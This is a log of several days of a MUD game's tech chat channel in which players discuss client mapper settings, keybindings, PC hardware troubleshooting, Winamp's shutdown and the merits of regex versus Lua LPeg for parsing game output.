T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: ps, it'll always be a ripoff because insurance companies and healthcare providers gouge for profit
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Juictice Tech: insurance can make sense despite the profit, it's just extra bad when the govt screws up prices, and THEN layers a profit margin on top
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: it's still cheaper than the typical socialised health insurance cost here, but you get less coverage on average
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: i would say so
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Frostpaw Tech: remind me, mushclient can make buttons?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Frostpaw Tech: like in cmud
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It can be done, but is more involved scripting wise
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But why on *earth* would you want to click, just make an alias
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Frostpaw Tech: how about binding movement keys to arrows? forgetting if that can be done too
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They are already bound to 10key, arrows navigate command history
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Frostpaw Tech: and if you're on a laptop vakieh? no 10key
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: anyone know if it's possible to change the ctrl+alt shortcuts in mushclient? I use windows shortcut keys for various things and those take precedence
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Get a laptop with a 10key then, or get a wireless 10key pad
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Ryv Tech: how do you tell mapper not to ignore level locks
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Mapper only cares about its own level locks, not the muds
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: you could also rebind the keys or use one of any of the available HID (keyboard,etc) macro/alias software available
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: piescript, ex.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: Ryv, in other words, you have to tell mapper which level to lock against. you can just set it to 1/0 to ignore, else to the appropriate level per portal/area
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Ryv Tech: yeah but once i remort those level locks dont apply iirc, so id have to remove them?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Salamander Samalander Tech: so my monitor keeps going blank and I think that the backlight keeps going out. is there a way to fix this or must I buy a new monitor?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The mapper is just not designed to import other people's/character's maps, you will have to remove them after you remort
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: you'll have to run 'mapper portallevel <index> 0' to get it to ignore all the locks you've set
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: eh? I could see purging some things after tier but remort? I didn't clear anything
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Defines, level locks mudside are only for t0r1, Ryv is either using someone else's map, another of his char's maps, or he recreated
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Ryv Tech: So is there a command that purges all level locks at once? otherwise that would be a pain to remove after.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There isn't Ryv, what you are doing is against what the mapper is designed for
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Ryv Tech: Would the best move then to just use my backup after i remort? and use default until then?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Loshy Tech: How do you change your " home " portal from 1 room to another?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Loshy Tech: not sure if its considered a bounceportal or whatnot
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Loreli Tech: Does anyone have a, preferrably open source, suggestion for note taking apps like rednotebook or evernote?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Ryv Tech: Is there an easy way of having a trigger send the last command sent
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Elxi Tech: Does ! work in MC ?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: !
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Elxi Tech: I think that is a default mud shortcut for last sent command
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Elxi Tech: So try just having it send !
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Leinei Tech: it's a mudside thing -- doesn't depend on client
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tech: Elxi nods at Leinei.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Ryv Tech: o cool
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Elxi Tech: That will send the last command your client sent to the mud though, not necessarily the last thing you typed.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Elxi Tech: So if you have plugins sending commands they could get sent instead of what you think you sent last.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: So, I'm a phone user. I logged in once on mush, and now.. everything is wierd. How do I get it to stop saying mapstart and the coords when I move rooms?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Elxi Tech: Turn tags off
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Oh, ok. Thank you. :)
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Elxi Tech: You're welcome
T3/r7/2013-11-21.txt.gz:{chan ch=tech}ShamrockV Tech: anyone tuned here?
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Kosirk Tech: sup?
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Tormat Tech: got too love a request to look at tech and then it goes silent
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Kosirk Tech: lol didn't even notice, being busy :P
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Tormat Tech: stealing all my portals busy
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Kosirk Tech: Nah, I'm doing a quest :D
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: So if there are two 6 slot power connectors at the end of a cable from my power supply that I'm supposed to connect to my motherboard.  How likely is it to be an issue to connect the wrong one?  They both fit.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}I Sense Nonsense Tech: wait... two six slots to your motherboard?  It should be a 4 or an 8 slot for your CPU power
T3/r7/2013-11-21.txt.gz:{chan ch=tech}I Sense Nonsense Tech: do you mean two six slots for your graphics card?
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Sorry meant two 4 slots...
T3/r7/2013-11-21.txt.gz:{chan ch=tech}I Sense Nonsense Tech: then you're fine... both are the same basically
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Ahhh.  I've been having some issues with system (understatement of the year).  But when I switched one of the four for the other one, it started right up.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Wondering if it was the cause...
T3/r7/2013-11-21.txt.gz:{chan ch=tech}I Sense Nonsense Tech: shouldn't be... generally Power Supplies will have two 4 slot connectors to support either motherboards with a 4 or an 8slot (4+4) connectors... both connectors serve the same purpose and have the same power so...
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Ah so unless there is something wrong with that one connector not likely to be the issue, damn was hoping it was solved :)
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Zade Tech: which cheapo manufacturer rank is using slot connectors that are not obvious (without the (obviously missing) documentation)
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Zade Tech: the old power supply connectors of late last century came in pairs -- (the black wires were in the centre iirc)
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Zade Tech: these days, supposed to be almost impossible to plug in things wrongly (except maybe the ps2 keyboasrd and ps2 mouse - but those are labelled)
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Solipse Tech: I just build a new PC and sc
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Solipse Tech: and was waaay easy
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Solipse Tech: built*
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Solipse Tech: I'm pretty sure I couldn't have hooked it up any other way except the correct way
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Problem is I've replaced nearly every component except motherboard and processor.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Definitely Defines Tech: very little expert knowledge needed anymore for desktop build/repair
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Definitely Defines Tech: for any queries, hit teh googles
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It doesn't startup most times it powers up and screen is just blank.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Definitely Defines Tech: sounds like you're missing bios
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If I power up repeatedly eventually it'll start after 20-30 times.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Definitely Defines Tech: o.O
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Definitely Defines Tech: more magic.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Zade Tech: how old is this contraption
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: few years
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pooky Tech: it still runs on vaccuum tubes
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Solipse Tech: lol
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Latest 486dx2!
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pleiades Tech: did you upgrade to 3.5 floppies?
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Went with the 16mb of ram so I could see the leader animinations in civ II.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pooky Tech: anyone experienced with pvr/dvr setups in canada?
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I use mythtv
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pooky Tech: dunno what that is :(
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: http://www.mythtv.org/
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pooky Tech: i want to replace my vcr with a digital recording device
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pooky Tech: but i'm reading all these things about qam ota signals
T3/r7/2013-11-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Might be overkill, but I like it, and it's easy enough to use...
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pleiades Tech: my betamax types take up a lot of room
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pleiades Tech: tapes*
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pleiades Tech: do you have an amber colored monitor, mendaloth?
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pleiades Tech: or did you splurge and get paperwhite
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pleiades Tech: I had a 24 needle panasonic
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Pooky Tech: hm... mythtv does seem a bit overkill
T3/r7/2013-11-21.txt.gz:{chan ch=tech}WarPigs Tech: Are you sure you even need tv reception and recording? I just type "stream whatever" in Google.
T3/r7/2013-11-21.txt.gz:{chan ch=tech}Tech: Definitely Defines nods at WarPigs.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Oo, AOL is pulling the plug on Winamp, and won't be hosting it anymore as of December 20th.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Old news, Old Llama.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I think the bigger take away from it all though is that AOL still exists :-P
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: I dunno which I am more surprised about, that winamp still exists or that aol still exists
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Book of Etzli Tech: AOL still has like 100k dial up customers.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Or something like that. Might be even higer.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Stupid missing h.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: If people really want it, they could just host it somewhere else?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, undoubtedly will be done.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: People have asked for open source, but I doubt it will happen
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Book of Etzli Tech: Sites like Oldversion, etc.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Oh, I thought it was floss. 
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There are supposedly some things in the codebase that would be financially damaging if publically available - which I can only take to mean patent/copyright violations
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Does any one know how if possible on blowtorch, how to make one trigger to grab the number of auctioned item and put bid before it so it auto loads the new auctioned item detailes?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds like it would be possible. Check here: http://bt.happygoatstudios.com/?view=triggers
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Thanks much appreciated Vakieh
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You'll need to learn some regex as well though - a worthy investment of your time if you have any interest at all in mud client scripting, IMO
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Or any other type of coding.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Yes i made coffee , now im going to read through it and try to understand it :-) 
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Or just using a command line efficitently :D
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: he could learn Lua lpeg :>
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Heh (:
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Heh (:
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Well, regexp is a terrible way to match text, but it's used everywhere and no one has come up with a replacement that is good enough to be universally adopted.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: Lua lpeg :)
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Maybe some day. Probably not.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: context free grammars are a cut above regex. There are just things that can't be done or have to be done awkwardly. It is worth the slightly steeper learning curve.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: I mentioned lpeg because it is readily available. But there are many parsers out there.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: There are plenty of better ways to describe grammars and parse than regexp. But, the main point was "universally adopted". Regexp is everywhere. It might be replaced one day, but it would require something significantly better for all developers to start supporting some new scheme.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: ok, we can just stick to aard. [ This line: (I)(G) You would stomp A buzzing sprite into the ground. ] is a pain to parse with regex, but almost trivial with lpeg. By parse I mean, extract the mob flags and the mob name all in one pass.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: I'd like to see a scheme with (better) context sensitivity than regexp. And that is actually readable.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: I'm not saying lpeg isn't a better scheme. Maybe it is. But it'
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: I'm not saying lpeg isn't a better scheme. Maybe it is. But it's not available everywhere.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: Rarr, I keep say it, try lpeg. Gammon has an simple example of its use.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: it is available anywhere that has Lua.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: I don't use lua. 
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: mushtrigs can use lpeg?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: I write most my code in python or tcl.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: well, there are context free grammar parsers in other languages, including python, javascript and some of the compiled languages.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: what the hell is lpeg?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Domovoy Tech: Pattern-matching library for Lua, based on Parsing Expression Grammars.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: look it up, Remarto, Nick Gammon even offers a simple example of its use, to parse the exits line in your look  display.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Sure, and I can write my own parser too. Still doesn't make them universal.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Regexp (and glob) are pretty much the only text parsing schemes that are universally available.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: so your argument is, that we should use the worse tool because everyone is used to using them and there is need to get them to learn something new and beter. OK.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: there was the time when regexp was not universally available, it became universal because there wasn't anything else out there. Now there is.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: My point was that you should learn regexp because it's universally available. Then, once you know regexp, you can use something else if you want.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: If all you ever want to do is code lua, then it doesn't matter.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Will allot of triggers like friend greetings etc. slowdown blowtorch and use moree data ?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: no, I said that Lua had a readily available parser, there are parsers in other language. The point is to learn about context free grammars.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: I agree with that.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well that looks alot more confusing then regex
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: You should also learn about context sensitive grammars.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: at first it is, you have to learn how to build exprssions.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: and even if you use another language, Lua is embeddable just about anywhere you want.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: But most people just need to know the basics. And most coders probably only know regexp.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, like I'm going to embed lua in my python program just to get some text parsing scheme. 
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: anyway, I don't want to beat this over the head with a broom :) Once you get the hang of lpeg, though, you'll want to rework all your triggers (almost) :)
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: you can use lpeg in triggers?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: sure, you just grab the whole line and parse it.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: grabbing every line doesn't seem very practical...
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: no, you wouldn't do that. Just th line you want.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto convulses as he shudders in disgust.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: you can't parse it unless you do a * trigger right?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: just use the client native extraction patterns.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: so say mush.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: what's native, *?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: "<text>(*)" says anything that start with that text, grab the rest. You use lpeg to parse "the rest">
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: So, lpeg is a parser, not a matcher. Then how could it be a replacement for regexp? :P
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: I have been saying that all along. A context free grammar parser.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: well at the end of the day i'm going to use regexp to do that first match
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: seems repetitive/redundant to do it again with lpeg
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Ok, I've been talking about a replacement for regexp, not a parser.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: you take a free form string and you parse it to whatever components you want.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: to /get/ that free form string you need regexp.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: That's a lexical analyzer
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: And a parse, maybe.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think its going to be much safer for me to stick with just the regex  :|
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: Redryn nods at [Outlaw] Remarto.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: i won't say it works awesome always, but it's what you have
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: I use this to parse cmud's out from %walk or : http://pastebin.com/maGvnvTS
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: or %pathfrom
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: that's quite distinct from a trigger
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: triggers are the common way to catch data for scripting, but in this case the data is generated by a function.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: pattern matching is not the same thing as parsing which is not the same thing as lexical analysis. Some tools do more than one of those things, though.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: I could implement a lexical analyser with lpeg.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: I could certainly use it to parse cmud zscript, for instance. Not that I would want to spend the time doing that.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: So, 2 out of 3 then.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: regexp has great uses, and for many strings, there is no need to use anything else. But, in the case where I wanted to processes from ID, or appraise, for instance, I could do it all at once with one expression grammar, rather than trying to write regexp for each different output line. It is doable in regexp, as may have demonstrated. I think this type of data is what cfg is  meant to handle.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: problem is many things in aard are not really anchored
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: so it's not easy to grab your 'free form string'
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: without some sort of regex
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: and if you're doing regex already, might as well just grab the variables while you're at it
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: If all you need is pattern matching and lexical analysis, regexp is fine.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: don't worry i'm not trying to say regex is great :p
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: But, as I said, I would like to see a replacement that addresses the issues with regexp. Specifically, readability.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: i know the many limitations i've had to struggle with
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: sure
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: in the case of the ID output, you trigger just grab the entire output and passes the string (including \n's) to the parser. Without having to do any extraction.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: how do you 
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: from the +---- to the empty line at the end, just grab it all without looking at it and pass it along.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: mush doesn't handle passing multiline stuff well
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: i believe
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: if it did i would certainly be using lpeg for some multiline stuff regex sucks at
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Redryn, in complete agreement.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ive tried doing multiline but could never get it to work
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: you have no idea how much pain i had trying to compress spell damage before lasher did it mudside :p
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: funny thing you said that :) But as it turns out Gammon used an example for inventory miniwindow, which happens to work just fine for the ID output.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hahaha
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: with modifications, of course.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: problem with mush is also lack of #gag function
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: so just grabbing stuff is not a solution
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: if you're using omit from output
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: that is a big one, I agree.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: meh mush i just grabb and omit fogagging
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: that's why i have to use regex to be picky about gagging
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: i don't want to have to re-print everything, that's really laggy
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: you could use cmud... *srun
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: cmud's mapper isn't as customizable as mush's
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: main reason i switched
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: used to have zmud
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: needed gmcp, but cmud wasn't backwards compatible
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: so if i was going to rewrite every script i might as well change to something with an already working mapper
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: You know, I use both cmud and aardmush. I still like cmud's (zmud's) mapper  better.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: i hear it's faster
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: at least when it comes to speedwalking.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: honestly with a modern machine the difference is negligible
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: plenty of gqs won with mush mapper ;)
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: and being able to modify it as i like is a huge +
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: i also like mush's miniwins better
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: to me mush is more complex but more open
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: most people just use the plugins already out there, is there anywhere that explains how the mapper actually works cause sometimes i wish it was faster
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: I am sure. It's just that all my movement scripts rely on the way cmud generates speedwalks. I looked at mush's and I would have to write all my scripts again and some could never be implemented. AFAIK mush mapper doesn't use an A* algorithm.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: mush mapper basically does a simple BFS
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Isn't the mapper written in lua, so you could rewrite it using whatever algorithm you want?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: Redryn nods at Ranrr.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: you can edit anything you want
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: as i said ive looked at the code and just couldnt understand how it works :P
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: haha
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, lua isn't exactly a beautiful language.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: it looks at the room you're in and checks all exits
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: then it looks at those rooms and checks all exits
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: until it finds target room
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: cmud has the generator built-in, which is a huge advantage. I wrote my own speedwalker, but it still has some bugs and I don't really want to spend the time debugging it. Besides, even that generator relies on the cmud map database.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: generator?
